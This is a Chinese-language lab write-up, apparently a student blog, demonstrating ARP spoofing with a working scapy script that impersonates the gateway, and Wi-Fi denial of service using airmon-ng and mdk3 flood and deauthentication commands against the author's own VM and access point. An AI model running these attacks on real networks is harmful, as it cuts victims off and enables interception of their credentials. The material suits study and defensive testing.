ARP官方释意:地址解析协议,即ARP(Address Resolution Protocol),是根据获取的一个。发送信息时将包含目标IP地址的ARP请求广播到局域网络上的所有主机,并接收返回消息,以此确定目标的物理地址(mac);收到返回消息后将该IP地址和物理地址存入本机ARP缓存中并保留一定时间,下次请求时直接查询ARP缓存以节约资源。
实验环境:
linux parrot(攻击系统)
Linux centos(被攻击系统)
实验语言:Python
Arp协议是网络不可缺少的一部分,由于arp协议存在一些不可修复的漏洞所以骇客也经常利用这个漏洞进行局域网攻击。攻击大致分为两种。(1)纯粹的网络攻击,迫使受害者无法使用网络 (2)目的性攻击,arp欺骗获取局域网使用者的信息,盗取账号密码等敏感信息。
笔者的电脑是接入寝室网络的,本来想使用真实电脑作为攻击目标,鉴于室友正在使用,转移到虚拟机进行实验。
搭建实验环境
Linux parrot(攻击系统)
Linux centos(被攻击系统)
我们可以看到终端显示的信息(网关一般是默认的)
攻击系统IP :192.168.163.146 MAC:00:0c:29:41:75:aa
被攻击者IP:192.168.163.150 MAC:00:0c:29:0b:09:89
网络测试依次使用两台机器ping百度显示信息如下
此信息说明可以连接外网,证明目前可以上网
使用攻击系统扫描本网段的信息,使用到的工具fping
扫描到目标IP使用arp -a命令确认一下信息如下:
确认无误,我的局域网中网关以2结尾,所以我们展开192.168.163.2和192.
168.163.150之间的攻击。
使用python的scapy模块,编写对应的ARP包进行发送,由于scapy有独立的交互模式,我们就直接在终端中进行编程。注意这里要进入root权限
核心源代码如下:
>>> a = ARP()
>>> a.show()
###[ ARP ]###
hwtype= 0x1
ptype= IPv4
hwlen= None
plen= None
op= who-has
hwsrc= 00:0c:29:41:75:aa
psrc= 192.168.163.146
hwdst= 00:00:00:00:00:00
pdst= 0.0.0.0
>>> a.psrc = '192.168.163.2'
>>> a.pdst = '192.168.163.150'
>>> send(a,loop=1)
正在攻击目标
验证:
Ping百度没有反应,网关mac地址也被修改为攻击机的MAC地址
Python代码:
from scapy.all import *
import time
import random
pdst=str(input("目标IP:"))
gw=str(input("网关IP:"))
a = ARP()
a.pdst = pdst
a.psrc = gw
a.hwsrc = 'b4:1e:89:20:43:A1'
while 1:
send(a,loop =0)
time.sleep(random.uniform(10,5))
无线网络攻击相对上面的操作更加简单,纯工具攻击方案。首先需要一个攻击系统,我选用parrot security系统,因为这个系统整合的工具比较全,现对于kali来说虽然没有什么较大的优势但是他的UI界面做的相当的好。
插入无线网卡
可以看到无线网卡被命名为了wlan0(因为一般都是这样命名的),使用airmon-ng将无线网专为mon模式,在这之前最好把网卡mac地址改变一下(我也不知道有什么用总之这样改感觉谨慎一些):
ifconfig wlan0 down
Macchanger -m MAC wlan0
ifconfg wlan0 up
airmon-ng start wlan0
接下来就可以使用wlan0mon进行无线网的查看了,记住名字已经变成wlan0mon了
使用airodump-ng wlan0mon或者wifete
打开就立刻扫到这两个wifi,实验目标是ruijie(传说中的我打我自己,吐槽一下锐捷客户端,不能开wifi就算了连虚拟机都不能用,让计算机专业的学生怎么搭建环境,虽然我不是计算机专业)。
直接开始攻击 mdk3 wlan0mon a -i MAC -s 速率
从连接状况可以看出来有大量的mac地址请求建立连接,当然我的手机已经没网了,大概就是0-20秒网络变的卡顿,之后完全失去网络通讯,当然这只是一个AP的攻击想要实现一定范围的网络中断其实也就是一个命令的事。mdk3 wlan0mon d -w 白名单AP的mac -b黑名单AP的mac -c 信道。回车键敲下去后果可想而知,网卡可能会坏掉 哈哈…
这两种攻击方式有点不一样,第一个是洪水攻击利用大量的伪造mac迫使AP无法正常提供服务,第二种是直接进行解除认证。
Aircrack-ng套装是专门针对无线的一套工具,mdk3是专用的攻击工具,除了上面的案例还有许多可研究的使用方法。
两种比较常见的局域网攻击手段,单个拿出来看似确实没什么,但是两个组合在一起完全可以制造一个网络屏蔽空间,对目标造成一定的危害,虽然是局域网,但也请不要随意对他人使用,具体的防御方法在其他的文章中也有讲述,ARP攻防那篇文章有讲到如何预防ARP攻击,无线攻击预防方案只能在路由中进行设置,有些到目前为止都还没找到合适的防御方案。